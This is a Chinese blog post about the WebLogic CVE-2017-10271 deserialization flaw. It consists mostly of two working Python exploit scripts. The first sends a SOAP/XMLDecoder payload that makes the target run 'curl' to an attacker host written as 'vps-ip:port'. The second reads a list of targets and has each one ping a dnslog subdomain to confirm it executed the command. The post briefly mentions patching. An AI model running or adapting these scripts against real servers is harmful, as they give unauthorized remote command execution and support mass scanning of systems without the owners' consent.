Home > Learning > Weblogic反序列化补丁绕过PoC-利用dnslog批量验证脚本

Weblogic反序列化补丁绕过PoC-利用dnslog批量验证脚本

0x00 漏洞说明

漏洞名称 WebLogic WLS 组件命令执行漏洞
漏洞描述 CVE-2017-10271是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞,属于没有公开细节的野外利用漏洞,大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。
潜在危害 该漏洞的利用方法较为简单,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器的权限,危害巨大。攻击者能够同时攻击Windows及Linux主机,并在目标中长期潜伏。
修复建议 登录Oracle官方网站,下载WebLogic十月份补丁并安装

0x01 poc

import requests
import re
from sys import argv

heads = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/wls-wsat/CoordinatorPortType'
    post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                <void index="2"> 
                  <string>curl http://vps-ip:port/</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''
    try:
        response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
        response = response.text
        response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
    except Exception, e:
        response = ""
    if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
        result = "Vulnerability"
        return result
    else:
        result = "No Vulnerability"
        return result

if __name__ == '__main__':
    if len(argv) == 1:
        print "python weblogic_poc.py url:port"
        exit(0)
    else:
        url = argv[1]
    result = poc(url=url)
    print result

0x02 利用dnslog批量验证脚本

比如你有自己的dnslog平台或者用ceye.io,分配到子域名为asdf.ceye.io,那么验证的poc代码如下,其实就是导入你的列表后批量请求:

import requests
import re
from sys import argv

heads = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/wls-wsat/CoordinatorPortType'
    post_str = \
    '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                <void index="2"> 
                  <string>ping {0}.asdf.ceye.io</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''.format(url)

    try:
        response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
        
    except Exception, e:
        pass

if __name__ == '__main__':
    if len(argv) == 1:
        print "python weblogic_poc.py domain.list"
        exit(0)
    else:
        file = argv[1]
    f = open(file, 'r')
    urls = f.readlines()
    for url in urls:
        result = poc(url=url)

之后登陆你的dnslog平台再看就可以了。

You may alo like...

发表评论

电子邮件地址不会被公开。 必填项已用*标注